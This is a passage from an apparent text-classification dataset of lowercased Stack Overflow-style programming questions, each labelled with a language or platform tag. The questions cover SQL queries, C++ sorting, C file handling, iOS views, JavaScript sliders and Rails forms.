section of the gac seems to be for the jit to compile to the correct platform as needed (in this case should be 32 bit).  so i really can t see anything that could be wrong here.    user has used program features to remove and reinstall framework 3.5.    any other ideas short of reimage     thanks  chris,.net
"make a string a new instant of a class in c#  i am facing a problem i can not solve. and i hope someone can.    // i got table saved in m.sql server as in picture    <a href= https://i.stack.imgur.com/fecmz.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fecmz.jpg  alt= enter image description here ></a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>// code
 
 db_context mydb = new db_context();
 var all = mydb.select(x =&gt; x );
 
 i want to instantiate every string ( i.position) as a new instant name of class article.like the followings 
 
  foreach ( var i in all)
 {
 article  i.position  = new article();
  i.name .a_stock = i.stock ;
 }
 
 // the class
 public class article
 {
 public int a_stock { get; set;}
 
 }
 
 // later i want to recall it to get its a_stock value   for example 
 
 int k1 = a1.a_stock ;
 int k2 = a2.a_stock ;</code></pre>
 </div>
 </div>
     //  in short   i want to retrieve all strings in position column and convert every string of them into a a new instant of class (article) carries then instant name ...    thank you very much ...",c#
.net job interview  i have a job interview tomorrow for a .net shop.  for the past few years i have been developing in languages other than .net and figure it is probably a good idea to brush up on what is cool and new in the world of .net.  i ve been reading about linq and wpf but these are more technologies than trends.  what else should i look at     been reading things like:   <ul> <li><a href= http://msdn.microsoft.com/en-us/library/bb332048.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/bb332048.aspx</a></li> <li><a href= http://msdn.microsoft.com/en-us/library/ms754130.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/ms754130.aspx</a></li> </ul>   <strong>edit</strong>    as it turns out this interview was high level and we didn t really get into much which was more .net specific than generics.,.net
execute from child multiple times  so i am executing a file with execv() inside a child process with its file descriptors possibly being modified based on the input.    however  i am trying to execute one process after the next from the child  but because execv() takes over the child process  calling execv() after the previous call doesnt work.    how would i go about executing multiple processes from a single child,c
hero image getting blurred / low resolution  i was recently trying to change the hero/banner image on my homepage and noticed that after i set the new image the quality and resolution are reduced. even when i use the original 5312x2988 image to test  the quality somehow is still blurry.    the homepage is www.shiftins.com. this is a section of the image that shows the problem:    <a href= https://i.stack.imgur.com/lssnm.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lssnm.jpg  alt=  ></a>    can someone please help me identify what part of the css is causing this effect     here is an image of the original picture to compare to the above.    <a href= https://i.stack.imgur.com/lfkqk.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lfkqk.jpg  alt=  ></a>,css
how to get date month and year in different labels  i am using this code and got date (full date) and time in 2 different labels but i want month  date  year and time in different labels:    <pre><code>- (void)viewdidload {     [super viewdidload];     [self.picker addtarget:self action:@selector(datepickerchanged:) forcontrolevents:uicontroleventvaluechanged];  - (void)datepickerchanged:(uidatepicker *)datepicker {     nslocale *en_us_posix = [[nslocale alloc] initwithlocaleidentifier:@ en_us_posix ];     assert(en_us_posix != nil);       nsdateformatter *dateformatter = [[nsdateformatter alloc] init];     [dateformatter setlocale:en_us_posix];     [dateformatter setdateformat:@ dd-mm-yyyy ];     nsdate *datefromstring = [[nsdate alloc] init];     //    datefromstring = [dateformatter datefromstring:curdate];     nsdateformatter *dateformat = [[nsdateformatter alloc] init];     [dateformat setdateformat:@ mmmm d yyyy ];     nsstring *thedate = [dateformat stringfromdate:datefromstring];     _lbl.text = thedate;        nsdate *currenttime = [nsdate date];     [dateformatter setdateformat:@ hh mm ];      nsstring *resultstring = [dateformatter stringfromdate: currenttime];      _lbl3.text = resultstring;  } </code></pre>   thanks in advance,ios
iphone app is rejected due to copyright violations  i had submitted an i-phone app which is a logo quiz based app but it was rejected because of copyright violations. the logo quiz caters to the following categories 1) company logo 2) god logo 3) cartoon character logo 4) super hero logos 5) country flag logos let me know what i need to do in order to get my app approved.    below is the message from apple for rejecting my app:    8.1 - apps must comply with all terms and conditions explained in the guidelines for using apple trademarks and copyrights and the apple trademark list 8.5 - apps may not use protected third party material such as trademarks  copyrights  patents or violate 3rd party terms of use. authorization to use such material must be provided upon request 8.5 details    your app includes content or features that resemble well-known third-party marks  such as the simpsons  superman  etc.  without the necessary authorization to use this material.    we’ve attached screenshot(s) for your reference.    pursuant to your agreement with apple  you represent and warrant that your application does not infringe the rights of another party  and that you are responsible for any liability to apple because of a claim that your application infringes another party s rights. moreover  we may reject or remove your application for any reason  at our sole discretion.    next steps    please provide documentary evidence of rights to use this content. once legal has reviewed your documentation and confirms its validity  we will proceed with the review of your app.,ios
how to get mysql server info using command line   is there a direct command line command that provides all mysql server information like below...this is provided using mysql gui administrator. do we have some direct command to get this info  ussing command line      username:<br> hostname:<br> port:<br> <strong>server information</strong><br> mysql version:<br> network name:<br> ip:<br> <strong>client information</strong><br> version:<br> network name:<br> ip:<br> operating system:<br> hardware:,mysql
what is the use of colon in php  why is colon  :  used in conditional operators and what do they stand for   i searched alot on the internet but couldnt find the use of : in php.  someone please explain this to me. thanks    i have a statement like this   <pre><code>   $loop = new wp_query( $args );         while ( $loop-&gt;have_posts() ) : $loop-&gt;the_post();  </code></pre>   and i want to understand what : is used for here.,php
how to display posts with even/odd number   i want to display posts with even number or odd number in a page i tried everything but still didn t work  any help is much appreciated. i am using <code>devise</code> for user model.    posts controller   <pre><code>    class postscontroller &lt; applicationcontroller     def new         @post = post.new       end     def index         @posts = post.all       end        def show         @post = post.find(params[:id])       end       def delete       end     end </code></pre>,ruby-on-rails
undefined method `category_id  for #<post:0xade8ce4>  i have a post model and a category model. i installed simple_form gem with active record. i m trying to implement <a href= https://github.com/plataformatec/simple_form#associations  rel= nofollow >this</a> github steps of simple form association with foundation. but i m getting this weird error which i can t resolve.    posts.rb   <pre><code>class post &lt; activerecord::base   validates_presence_of :title  :body   has_many :comments   belongs_to :category end </code></pre>   category.rb   <pre><code>class category &lt; activerecord::base   has_many :posts end </code></pre>   _form.html.erb   <pre><code>&lt;%= simple_form_for @post do |f| %&gt;   &lt;% if @post.errors.any  %&gt;     &lt;div id= error_explanation &gt;       &lt;ul&gt;       &lt;% @post.errors.full_messages.each do |msg| %&gt;         &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;       &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;% end %&gt;    &lt;div class= field &gt;     &lt;%= f.input :title %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.input :body %&gt;   &lt;/div&gt;   &lt;div class= field &gt;     &lt;%= f.association :category %&gt;   &lt;/div&gt;   &lt;div class= actions &gt;     &lt;%= f.button :submit %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
iphone red circular button with  x   probably a silly question here but i have been trying to find this for about an hour now. how do i create the circular red button with an  x  that appears when navigating pages in safari for example. and is there an  official  name of such a button type     <a href= http://www.iphonity.com/pictures/3.0-1.png  rel= nofollow >screenshot</a>    thanks !,iphone
sql joining two tables with foreign key  i am new to sql i am using myphpadmin for my database i am trying to combine two tables that has common value in column for my project. i would really appreciate any suggestions or help. thanks in advance.    i have two tables named;   <pre><code> tablea:   id      name    section    c_status   1a      aika    section1   active  2s                         inactive </code></pre>  <hr>  <pre><code>tableb:  id     pr_id     name     section      111    2s      laika     section2    222    2s      bes       section3   </code></pre>  <hr>   my desire output is;    <pre><code> id   name   section     c_status   1a   aika   section1    active  2s   laika  section2    inctive  2s   bes    section3    inctive </code></pre>   i tried to use select * from tablea tableb where tablea.id=tableb.pr_id     however i got wrong output. i would really appreciate advice. thank you,mysql
sql: how to condition the use of the greater than operator when comparing different columns  to start  i have a query that pulls a lab id  a test code  and a result from a table...   <pre><code>select wrid  wrtstcde  wrrslt                           from wtresult                                           where wrtstcde in ( wc-cond    wc-tds    wc-so4sc )     order by wrid     </code></pre>   that yields some results like this...   <pre><code>  test id  ---------     code    ---          results             14 000 397   wc-cond               1       14 000 408   wc-cond               683     14 000 408   wc-so4sc              329     14 000 408   wc-tds                444     14 000 409   wc-cond               691     14 000 409   wc-so4sc              340     14 000 409   wc-tds                436    </code></pre>   the results for wc-cond should always be greater than the results for wc-tds.    the results for wc-tds should always be greater than the results for wc-so4sc.    we believe users have entered data erroneously into the database.    my question is this: what can i add to this query to make it show instances where wc-tds are erroneously greater than wc-cond   and similarly for wc-so4sc if it is greater than wc-tds,sql
how to separate data in row  i have a table in mysql database  having two columns named <code>pageid</code> and <code>datavalue</code>. the <code>datavalue</code> column contains comma separated data. i want to split the data into rows.,mysql
how do i convert an element in list to string using stream java 8  i have only one element in <code>list&lt;string&gt;</code> and i want to convert that to a <code>string</code> using <code>stream</code> in <code>java 8</code>    i tried this   <pre><code>public static void main(string[] args) {     list&lt;string&gt; linelist = arrays.aslist( this is a test line );     string linestring;     linestring = linelist.stream().map(element -&gt; linestring); } </code></pre>,java
code for the input of a sequence of numbers  i d like to write a simple osx program using objective-c and foundation:    something like: input: insert 6 numbers: 1  2  3  4  5  6 result: your numbers are 1  2  3  4  5 and your jolly number is 6.    what i can t do is the first part  how to insert more than one number (i would use nslog e the scanf routine for the input)... i know it s a stupid question for advanced users  but i m just beginning.    basically i m trying to change this   <pre><code>#import &lt;foundation/foundation.h&gt;  int main(int argc  const char * argv[]) {  @autoreleasepool {  int numero1; int numero2; int numero3; int numero4; int numero5; int jolly;  nslog(@ insert a number ); scanf( %i   &amp;numero1);  nslog(@ insert a number ); scanf( %i   &amp;numero2);  nslog(@ insert a number ); scanf( %i   &amp;numero3);  nslog(@ insert a number ); scanf( %i   &amp;numero4);  nslog(@ insert a number ); scanf( %i   &amp;numero5);  nslog(@ insert a number ); scanf( %i   &amp;jolly);  nslog(@ i numeri sono %i  %i  %i  %i  %i  il jolly è %i   numero1  numero2  numero3  numero4  numero5  jolly);      }     return 0; } </code></pre>   i d like to merge the input in a single input    thanks!,objective-c
when system.data.datatable is derived how does datatable.clone return the derived class   according to <a href= http://msdn.microsoft.com/en-us/library/system.data.datatable.clone.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/system.data.datatable.clone.aspx</a>  if these classes have been derived  the clone will also be of the same derived classes .    in the example code below how does the clone method on the base class  know  to create the derived class    <pre><code>public class mydatatable : system.data.datatable         {             public override system.data.datatable clone()             {                 //how is this a mydatatable not a  datatable                    return base.clone();             }         }          static void main(string[] args)         {             mydatatable dt = new mydatatable();             system.diagnostics.debug.assert(dt.clone() is mydatatable);         } </code></pre>,.net
rails: how to do counta of excel for selected columns   i have a users table that i want to analyze by counting the number of cells that have data like counta function of excel  which counts the cells that have data:   <pre><code>        job           | address | looks | wealth matthew tax collector |         | 3     | 9 mark                  | galilee | 6     |  </code></pre>   socio_count counts the cells that have data in address and job. personality_count counts the cells that have content in looks  wealth. is there an easier way to do this in rails  (because there are much more columns).     in excel it would be    <pre><code>counta(b2:c2) # outputs 1  counta(d2:e2) # outputs 2 </code></pre>   my rails code is:   <pre><code>socio_count = 0 if @user.job.present    socio_count = socio_count + 1 end  if @user.address.present    socio_count = socio_count + 1 end  # more columns here..   @socio_count = socio_count # outputs 1  personality_count = 0 if @user.looks.present    personality_count = personality_count + 1 end  if @user.wealth.present    personality_count = personality_count + 1 end  # more columns here..  @personality_count = personality_count # outputs 2 </code></pre>,ruby-on-rails
adding subviews on the top of mainviewcontroller  i am working to get user survey before user starts using my app  it is a typically collection of data for my research.    my problem is to add subview on the top of mainviewcontroller.    i have two subviewcontroller as you can see in the first screenshoots. i would like to add first subview on the mainviewcontroller  and whenever user clicks on next customized button  then firstsubview disappear and secondsubview appear on the top of mainviewcontroller.    firstsubview implemented as follows:   <pre><code>    cgrect rect = [firstsurveyviewcontroller.view frame];     rect.origin.x = 5;     rect.origin.y = 5;     [firstsurveyviewcontroller.view  setframe:rect];     [self.view addsubview:firstsurveyviewcontroller.view]; </code></pre>   but i want to drop the firstsubview and add the second when user clicks on next button. how could i implement     <img src= https://i.stack.imgur.com/7go8s.png  alt= firstsubview > <img src= https://i.stack.imgur.com/kwwjw.png  alt= secondsubview > <img src= https://i.stack.imgur.com/geiap.png  alt= mainviewcontroller + mainviewcontroller >,ios
"how to target different element that has same index with pure javascript  i want to make a simple slider using pure javascript that support at least ie8  but got stuck at the moment. the problem is i when i click one of the paging items it should grab current index and then target another div for the slider container item with the same index as the paging. basically i want to add and remove active class on both div.slideritems &amp; div.pagingitems based on div.pagingitems index. here s my code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>window.onload = function(){
     var slider = document.getelementbyid( slider ) 
       slideritems = slider.children 
       totalitems = slideritems.length 
       activeslider = document.queryselector( .activeslider ) 
       pagingslider = document.getelementbyid( pagingslider ) 
       pagingitems = pagingslider.children 
       activepaging = document.queryselector( .activepaging );
 
     function next(){
       for (var i = 0; i &lt; totalitems; i++) {
         if (i &lt; totalitems - 1) {
           if (slideritems[i].classname.match( /( :^|\s)activeslider( !\s)/ )) {
             slideritems[i].classname = slideritems[i].classname.replace( /( :^|\s)activeslider( !\s)/g      );
             slideritems[i + 1].classname +=   activeslider ;
 
             pagingitems[i].classname = pagingitems[i].classname.replace( /( :^|\s)activepaging( !\s)/g      );
             pagingitems[i + 1].classname +=   activepaging ;
             return;
           }
         } else {
           slideritems[i].classname = slideritems[i].classname.replace( /( :^|\s)activeslider( !\s)/g      );
           slideritems[i + 1 - totalitems].classname +=   activeslider ;
 
           pagingitems[i].classname = pagingitems[i].classname.replace( /( :^|\s)activepaging( !\s)/g      );
           pagingitems[i + 1 - totalitems].classname +=   activepaging ;
           return;
         }
       }
     }
 
     for (var i = 0; i &lt; totalitems; i++) {
     (function(index){
      pagingitems[i].onclick = function(){
       pagingitems[i].classname = pagingitems[i].classname.replace( /( :^|\s)activepaging( !\s)/g      );
       this.classname +=   activepaging ;
       console.log(index);
      }    
     })(i);
    }
    
    if (activeslider === null) {
     slideritems[0].classname +=   activeslider ;
     pagingitems[0].classname +=   activepaging ;
    }
    
    var start = setinterval(next  3000);
    
    pagingslider.onmouseenter = function(){clearinterval(start);};
    pagingslider.onmouseleave = function(){start = setinterval(next  3000);};
   }</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>* {
   box-sizing: border-box;
 }
 html  body {
   padding: 0;
   margin: 0;
   font-family: sans-serif;
 }
 .wrapperslider {
   position: relative;
   width: 100%;
   padding-bottom: 35%;
 }
 #slider {
   position: absolute;
   top: 0;
   left: 0;
   width: 100%;
   height: 100%;
 }
 #slider &gt; * {
   display: table;
   position: absolute;
   top: 0;
   left: 0;
   width: 100%;
   height: 100%;
   text-align: center;
   color: #fff;
   background: red;
   opacity: 0;
   transition: all ease-in-out .5s;
 }
 #slider &gt; * &gt; * {
   display: table-cell;
   vertical-align: middle;
 }
 #slider &gt; *.activeslider {
   z-index: 1;
   background: green;
   opacity: 1;
 }
 .wrapperpaging {
   text-align: center;
 }
 #pagingslider {
   display: inline-block;
   font-size: 0;
 }
 #pagingslider &gt; * {
   display: inline-block;
   margin: 0 10px;
   font-size: 14px;
   color: black;
   cursor: pointer;
   transition: all ease-in-out .5s;
 }
 #pagingslider &gt; *.activepaging {
   color: red;
   cursor: default;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
  &lt;head&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;title&gt;test file | vanilla js&lt;/title&gt;
   &lt;meta http-equiv= x-ua-compatible  content= ie=edge chrome=1 &gt;
   &lt;meta name= viewport  content= width=device-width  initial-scale=1  user-scalable=0 &gt;
  &lt;/head&gt;
  &lt;body&gt;
  
   &lt;div class= wrapperslider &gt;
    &lt;div id= slider &gt;
     &lt;div class= slideritems &gt;
      &lt;div&gt;item 1&lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= slideritems &gt;
      &lt;div&gt;item 2&lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= slideritems &gt;
      &lt;div&gt;item 3&lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= slideritems &gt;
      &lt;div&gt;item 4&lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= slideritems &gt;
      &lt;div&gt;item 5&lt;/div&gt;
     &lt;/div&gt;
    &lt;/div&gt;
   &lt;/div&gt;
   
   &lt;div class= wrapperpaging &gt;
    &lt;div id= pagingslider &gt;
     &lt;a class= pagingitems &gt;1&lt;/a&gt;
     &lt;a class= pagingitems &gt;2&lt;/a&gt;
     &lt;a class= pagingitems &gt;3&lt;/a&gt;
     &lt;a class= pagingitems &gt;4&lt;/a&gt;
     &lt;a class= pagingitems &gt;5&lt;/a&gt;
    &lt;/div&gt;
   &lt;/div&gt;
   
  &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",javascript
apple mach-o linker error ios  when i tried to build and run my project im getting this error.i tried may steps like clean and run  check with workspace.project but still im getting the error.no further details were in the error message.  linker command failed with exit code 1(use -v to see invocation),objective-c
track you tube video  i need to track youtube video status.i need to check the video is played till the end or not.after clicking an play button user has to see the video till the end. depending upon this i need to issue a certificate to my user. for this task i need to track the status of youtue video. how can i do this in asp.net,asp.net
gradient in android  i want to add gradient to my page. i have used java code throughout and absolutely no xml cose has been used. i tried looking for some codes online  but since am new to this field  couldn t get it right. can you please help me with how to insert gradient effect in my page,android
how to fix: unrecognized selector sent to instance  i am having a problem that may be simple to fix  but not simple for me to debug. i simple have a button inside a view in ib; the file s owner is set to the view controller class i am using and when making the connections  everything seems fine  ie. the connector is finding the method i am trying to call etc.    however  i am receiving this error: terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *** -[uiapplication getstarted:]: unrecognized selector sent to instance 0x3d19130     my code is as follows:    rootviewcontroller.h   <pre><code>@interface rootviewcontroller : uiviewcontroller { iboutlet uibutton* getstartedbutton; }  @property (nonatomic  retain) uibutton* getstartedbutton;  - (ibaction) getstarted: (id)sender;  @end </code></pre>   rootviewcontroller.m   <pre><code>#import  rootviewcontroller.h  #import  simpledrilldownappdelegate.h    @implementation rootviewcontroller  @synthesize  getstartedbutton;  - (void)viewdidload {     [super viewdidload]; }   - (ibaction) getstarted: (id)sender {     nslog(@ button tapped! );     //[self.view removefromsuperview];   }  - (void)dealloc {     [getstartedbutton release];     [super dealloc]; }  @end </code></pre>   seems simple enough...any thoughs,iphone
get image ids in a div every second  i was successful in getting the id of all images within a div when clicking the div with the following codes below:   <pre><code>&lt;script type= text/javascript &gt; function getimgid(){ var elems = [].slice.call( document.getelementbyid( card ) ); elems.foreach( function( elem ){ elem.onclick = function(){     var arr = []  imgs = [].slice.call( elem.getelementsbytagname( img ) );     if(imgs.length){         imgs.foreach( function( img ){             var attrid = img.id;             arr.push(attrid);         alert(arr);         });     } else {         alert( no images found. );     } }; }); } &lt;/script&gt; </code></pre>   the codes above works perfectly  doing an alert message of the image id when clicking <strong>card</strong> div. now what i want is to run this function without clicking the div in every 5 seconds. i have tried <strong>setinterval (getimgid  5000)</strong>  but it doesn t work. which part of the codes above should i modify to call the function without clicking the div. any help would  be much appreciated.    <a href= http://jsfiddle.net/3dx4w  rel= nofollow >jsfiddle</a>,javascript
migrating from php 5.3.x to php 5.4.x  a simple test program program is included.    enter data into dataone click on create system dataone data moved to datatwo    works with 5.3    with 5.4 when the create system image is clicked   the data in dataone disappears from the form and noting is passed to datatwo    we have a large number of programs that use this method of input fields and images to click on.    if i shift to 5.3 it works. if i shift to 5.4 it wil not work.   <pre><code>&lt;!doctype html&gt; &lt;/head&gt; &lt; php $dataone = $http_post_vars[ dataone ]; $datatwo = $http_post_vars[ datatwo ]; if(isset($_post[ proc_x ])) {  $datatwo = $dataone; }    &gt; &lt;form name= form1  method= post  action= test.php &gt; &lt;table&gt;  &lt;tr&gt;    &lt;td&gt;&lt;strong&gt;        one&lt;/strong&gt;    &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td colspan= 2 &gt;&lt;input name= dataone  type= text   id= dataone      value= &lt; php echo  $dataone &gt;       size= 70 &gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;    &lt;td&gt;&lt;strong&gt;        two&lt;/strong&gt;    &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;    &lt;td colspan= 2 &gt;&lt;input name= datatwo  type= text  id= datatwo       value= &lt; php echo $datatwo;  &gt;  size= 70 &gt;    &lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt; &lt;table&gt;  &lt;tr&gt;   &lt;td colspan= 1 &gt;&lt;div align= left  &gt;     &lt;input name= proc  type= image  id= proc  value= proc   alt= create system         title= create  system  width= 25  height= 25 &gt;       &lt;strong&gt;proc&lt;/strong&gt;&lt;/div&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt; &lt;table&gt;  &lt;tr&gt;     &lt;td colspan= 2 &gt;&lt;input name= inx  type= hidden  id= inx       value = &lt; php echo $inx;  &gt;      size= 100 &gt;     &lt;/td&gt;    &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,php
iterating over a large list  i have a list in the range [465868129  988379794] both inclusive. when i use the following code i get a memory error. what can i do    <pre><code>r = [465868129  988379794] list = [x for x in xrange(r[0]  r[1]+1)] </code></pre>,python
using where clause in a union query  i have a mysql query like this   <pre><code>select id  dpost from uid1088_qposts union select id  dpost from uid1091_qposts where date(dpost)= 2012-01-01  </code></pre>   but the dpost column is a datetime column which stores a data like this   <blockquote>    2012-01-12 11:55:43  </blockquote>   the query shows no errors but produces a wrong output    <img src= https://i.stack.imgur.com/spnz7.png  alt= its a query done in phpmyadmin >    is there anyway i can union two tables using a where clause in this kind of filtering  the two tables does not unite... only the first queried table shows its data and filters a wrong date,mysql
radix sort need to be fix with const value   iam writing the code for the radix sort  i saw some online but when i wrote in the visual studio  it doesnot accept the const size in countsort. can you guys help me with this. thank you so much  it has [problem at function countsort (output[size])/  idk how to fix it  can you guys give me a hand    <pre><code>#include &lt;iostream&gt; #pragma comment(linker   /stack:8000000 ) #include &lt;ctime&gt; #include &lt;iomanip&gt; #include &lt;stdio.h&gt; using namespace std; void radixsort (int []  int); int maxnumber ( int[]  int); void countsort(int []  int   int );  int main(){     const int size = 8;     int arr [] = {110  5  10 3  22  100  1  23};     //int size = sizeof(arr)/sizeof(arr[0]);     for ( int i = 0; i &lt;size; i++){         cout &lt;&lt; setw(7) &lt;&lt;arr[i] ;     } for ( int i = 0; i &lt; size; i++){         cout &lt;&lt; setw(7)  &lt;&lt;arr[i] ;     }     cout &lt;&lt; endl;      radixsort (arr  size);      system( pause );     return 0; }   void radixsort ( int arr[]  int size){     int exp  m;      m  = maxnumber(arr  size);      for (exp = 1; m/exp &gt; 0; exp *= 10)         countsort(arr  size  exp); }  int maxnumber ( int arr[]  int size){     int max = arr[0];     for (int i = 1; i &lt; size; i++)         if (arr[i] &gt; max)             max = arr[i];     return max; }  void countsort(int arr[]   int size   int exp) {        **int output[size];**     int i  count[10] = {0};       for (i = 0; i &lt; size; i++)         count[(arr[i] / exp) % 10]++;       for (i = 1; i &lt; 10; i++)         count[i] += count[i-1];      for (i = size - 1; i &gt;= 0; i--)     {         output[count[(arr[i] / exp) % 10] - 1] = arr[i];         count[(arr[i] / exp) % 10]--;     }      for (i = 0; i &lt; size; i++)         arr[i] = output[i]; } </code></pre>,c++
why can t i initialize my fields in my structs   i am surprised that i can t initialize my fields in structs  why is it like that  like:   <pre><code>struct mystruct {     private int a = 90; } </code></pre>   but it s a complie time error. i don t know why it s a problem  please explain this to me.,c#
is it possible to send image when sending a push notification to iphone/ipad device    (iphone sdk)  is it possible to send image when sending a push notification to iphone/ipad device   ie. when normally a notification received to iphone it is either of the alertview form or badge form  but i want to also show image with notification message. is it possible,iphone
auto update installer for .net  i was thinking of writing a script to check  at login  if the version of out .net program was the same as the one on the server and then install an update  but if there s anything on the net which does such a thing (and has extra bells and whistles) that anyone can recommend  i d be interested to hear about it.,.net
partial views in asp.net  i m working in asp.net and i want to implement partial views. i want to load .ascx page without refreshing the current page and not even url changed. can i implement it in asp.net. if any one any link which will be useful for me.    thanks,asp.net
log in user when it s a nested attribute  hey i have a company and user model  where user belongs_to company and the company accepts nested attributes for the user. that s how the user registers.     however i m trying to make the user log in successfully when it s been created  but i m unable to get the user params.     here s my companies create controller:   <pre><code>def create   @company = company.new(company_params)   if @company.save     log_in params[:company][:user]     flash[:success] =  you ve successfully registered an account      redirect_to root_url   else     render  new    end end </code></pre>   and my helper method is:   <pre><code>def log_in(user)  session[:user_id] = user.id end </code></pre>   the error i get is:   <pre><code>undefined method `id  for nil:nilclass </code></pre>   and the request parameters are:   <pre><code>{ utf8 =&gt; ✓     authenticity_token =&gt; fcijb     company =&gt;{ users_attributes =&gt;{ 0 =&gt;{ name =&gt; john doe     email =&gt; john@bluth.com     password =&gt; [filtered] }}    name =&gt; bluth company }    commit =&gt; create company } </code></pre>,ruby-on-rails
file handling and strings(log in system)  i am creating a log in system. just the basic  username and pass.   <pre><code>=====log in=== user: abcd pass: **** ============== </code></pre>   max 4 alphanumeric characters.   <pre><code>struct account {  user[5];  pass[5]; }s; </code></pre>   for example in my <code>database.txt</code> file i already have this.   <pre><code>abcd //user 1234 //pass </code></pre>   so in the main its like this:   <pre><code>main() {  file *fp;  fp=fopen( account.txt   r );  char user[5] pass[5];  printf( enter user:  );  gets(user);  printf( enter pass:  );   pass[0] = getch();  printf( * );                       //doing this for   pass[1] = getch();                 //password security  printf( * );                       //asterisk(*)  pass[2] = getch();  printf( * );  pass[3] = getch();  printf( * );  pass[4] =  0 ;  getch();   while(fread(&amp;s sizeof(s) 1 fp)==1);  {   if(ferror(fp))   {     printf( error );   }   else if (strcmp(s.user user) == 0 &amp;&amp; strcmp(s.pass pass) == 0)   {    printf( success! );   }   else   {    printf( invalid );   }  }  getch(); } </code></pre>   problem is it is not working. when i put the correct pass it will always say invalid. but when i use     <code>gets(pass);</code> rather than the <code>pass[0]=getch();</code> it works perfect.     is this the correct way of doing the password security and reading it,c
mysql - selecting the count of an id where one count is greater than another count  pretty new to sql statements here so this one is a bit tricky for me.     i have two tables: sold and product. sold(sid  upc  date) product(upc  name  brand)    i need to find in how many stores(sid) does one brand outsell another brand.    i was thinking it was something like:    <pre><code>select count(*) from sold natural join product  where count(brand =  sony ) &gt; count(brand =  samsung );  </code></pre>   clearly that isn t valid however...,mysql
how to send all objects of mutable array to another class   i want to send mutable array with all its objects from my first class to second class. i have no idea how can i do this please anybody tell me the way...,iphone
please explain two lines to me <pre><code>typedef vector&lt;double&gt;::size_type vec_sz; vec_sz size = homework.size(); </code></pre>,c++
mysql - select hour in datetime and group  i have a datetime column of shoppingdates.    lets say i have 1000 rows of    <li>7/18/2012 5:33:39 pm</li> <li>7/16/2012 6:64:39 pm</li> <li>7/14/2012 7:34:39 pm</li> <li>7/13/2012 8:30:39 pm</li> <li>7/13/2012 8:37:39 pm</li> ect....    i want to count the number of times that each time appears within an hour time frame   <pre><code>so 5:00 p.m - 5:59:59 pm so 6:00 p.m - 6:59:59 pm so 7:00 p.m - 7:59:59 pm so 8:00 p.m - 8:59:59 pm </code></pre>   so in the above result i would get   <pre><code>1|5pm-6pm 1|6pm-7pm 1|7pm-8pm 2|8pm-9pm </code></pre>   any help is appreciated.    thanks!,mysql
single line  fromvalue - tovalue  (not a class  not a dictionary/list/array). howto   how often are you into a fromdate-todate scenario. <br> or perhaps a fromvalue-tovalue.    how do you do those times  <br> i use one of those commonly     t = objecttype (datetime  int  string..)    <code>dictionary&lt;t t&gt;</code> (used with .single())<br>    <code>t fromdate;</code><br> <code>t todate;</code><br>    <code>t[] comparison;</code><br>    which are directly used or returned by a method.    very very seldom i stand create a whole object   <pre><code>public struct t  {    t fromdate { get; set;}    t todate { get; set;} }  public method t(params) {    ..some operations..    return t { fromdate = somebegin  todate = someend }; } </code></pre>   everytime time  i want a stright and simple <code>keyvaluepair&lt;t t&gt; test;</code>. the problem to me  using keyvaluepair  is missleading if used this way   if i see a keyvaluepair in someones code  i look at the variable like  index 10  category books .    what are your suggestion,c#
avoid accessing private properties directly from the same class  this is a very simple example where accessing directly could be dangerous   <pre><code>class something{        public static final int max=123;        private int prop;             final void riskymethod()       {           this.prop=800; //this is wrong       }            final void safesetprop(int x)       {          if(x&lt;max)           {             prop=x;          }       }  } </code></pre>   i know it could be done encapsulating  prop  in another class   and defining it there as private  but that s a lot of useless code overhead!     is there a way to force the use of methods to access same class properties     a keyword  any trick      i confess i have done things like this to avoid accidental access by the same class   <pre><code>private int ikwidprop;          //ikwid = i know what i am doing </code></pre>   i am sure you could know a better approach =)    regards!,java
$scope is not binding data in view  i ve been developing an e-commerce website and i am stuck at a point. i am using stripe payment and all is working fine except data biding after token creation. here is my controller   <pre><code>app.controller( shoppingcartcontroller   [ $scope    $http    $sce    stripe    $window   function ($scope  $http  $sce  stripe  $window) {          $window.stripe.setpublishablekey( pk_test_saiyylycngo2yzq6mu****** );          $scope.createtoken = function () {             var expire = $scope.master[0].expire.split( / );             if ($scope.userdetail.$valid === true) {                 $window.stripe.card.createtoken({                     number: $scope.master[0].card                      cvc: $scope.master[0].cvv                      exp_month: expire[0]                      exp_year: expire[1]                  }  $scope.makepayment);              }         }          $scope.makepayment = function (status  response) {             if (response.error) {                 $scope.handlestripecallback(response);             } else {                 // response contains id and card  which contains additional card details                 var data = {token: response.id  data: $scope.cartdata};                  $http.post( make_payment   data).success(function (data) {                     if (data.status) {                         $scope.stripepaymentmessage = data.message;                         $scope.stripepaymentmessageclass =  success ;                     } else {                         $scope.stripepaymentmessage = data.message;                         $scope.stripepaymentmessageclass =  danger ;                     }                 